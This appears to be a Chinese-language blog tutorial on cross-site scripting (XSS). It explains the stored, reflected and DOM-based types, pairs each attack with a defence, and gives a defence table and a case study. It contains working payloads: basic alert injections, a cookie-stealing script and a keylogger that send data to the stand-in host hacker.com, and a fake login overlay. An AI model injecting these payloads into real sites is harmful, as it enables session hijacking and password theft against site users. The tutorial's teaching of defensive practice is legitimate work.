XSS攻击详解:从弹窗到Cookie劫持实战

XSS攻击详解:从弹窗到Cookie劫持实战

1. 什么是XSS攻击?

XSS(跨站脚本攻击,Cross-Site Scripting) 是一种通过向网页注入恶意脚本,在用户浏览器端执行的攻击方式。攻击者可窃取Cookie、篡改页面内容,甚至发起进一步攻击。

危害等级:🔥🔥🔥🔥(高危)
常见场景:社交平台、评论区、用户资料页等用户输入区域

2. XSS攻击类型

(1) 存储型XSS(持久化)
  • 攻击方式:恶意脚本被存入数据库,所有访问页面的用户都会执行

  • 示例

<script>alert('XSS')</script>  <!-- 基础弹窗 -->
<img src="x" onerror="stealCookie()">  <!-- 图片加载失败时执行JS -->

利用场景:论坛发帖、用户昵称设置

(2) 反射型XSS(非持久化)
  • 攻击方式:恶意脚本通过URL参数传递,仅对点击特定链接的用户生效

  • 示例

http://example.com/search?q=<script>alert(1)</script>

利用场景:搜索框、错误页面

(3) DOM型XSS(纯前端攻击)
  • 攻击方式:通过修改DOM元素触发,不依赖服务端

  • 示例

// 漏洞代码
document.getElementById('output').innerHTML = userInput;

// 攻击输入
<img src=x onerror="alert('XSS')">

利用场景:单页应用(SPA)、动态内容渲染

3. 高级XSS利用技术

(1) Cookie窃取
<script>
fetch('https://hacker.com/steal?cookie=' + document.cookie)
</script>

防御方法:使用HttpOnly标记Cookie,阻止JS访问

(2) 键盘记录
document.onkeypress = function(e) {
  fetch('https://hacker.com/log?key=' + e.key)
}

防御方法:CSP限制外部请求

(3) 钓鱼伪造
<div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
  <h1>请重新登录</h1>
  <input id="pwd" type="password">
  <button onclick="sendPassword()">提交</button>
</div>

防御方法:输入框禁用HTML渲染

4. 自动化工具检测

  • Burp Suite:拦截修改请求测试XSS

  • XSStrike:智能检测过滤绕过

  • python3 xsstrike.py -u "http://example.com/search?q=test"
  • BeEF:浏览器漏洞利用框架

5. XSS防御方案

防御措施 具体方法 有效性
输入过滤 转义< > & ' "等字符 ⭐⭐⭐
输出编码 根据上下文使用HTML/JS/URL编码 ⭐⭐⭐⭐
CSP策略 Content-Security-Policy: default-src 'self' ⭐⭐⭐⭐⭐
HttpOnly Cookie 服务端设置Set-Cookie: session=123; HttpOnly ⭐⭐⭐⭐
前端框架防护 React/Vue自动转义,慎用dangerouslySetInnerHTML ⭐⭐⭐⭐

6. 实战案例

案例:某博客平台未过滤评论,导致存储型XSS传播恶意脚本
攻击链

  1. 攻击者提交含恶意JS的评论

  2. 所有访问者执行脚本,Cookie被窃取

  3. 攻击者接管用户会话

修复方案

  • 后端使用DOMPurify库净化HTML

  • 前端采用textContent替代innerHTML

 

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容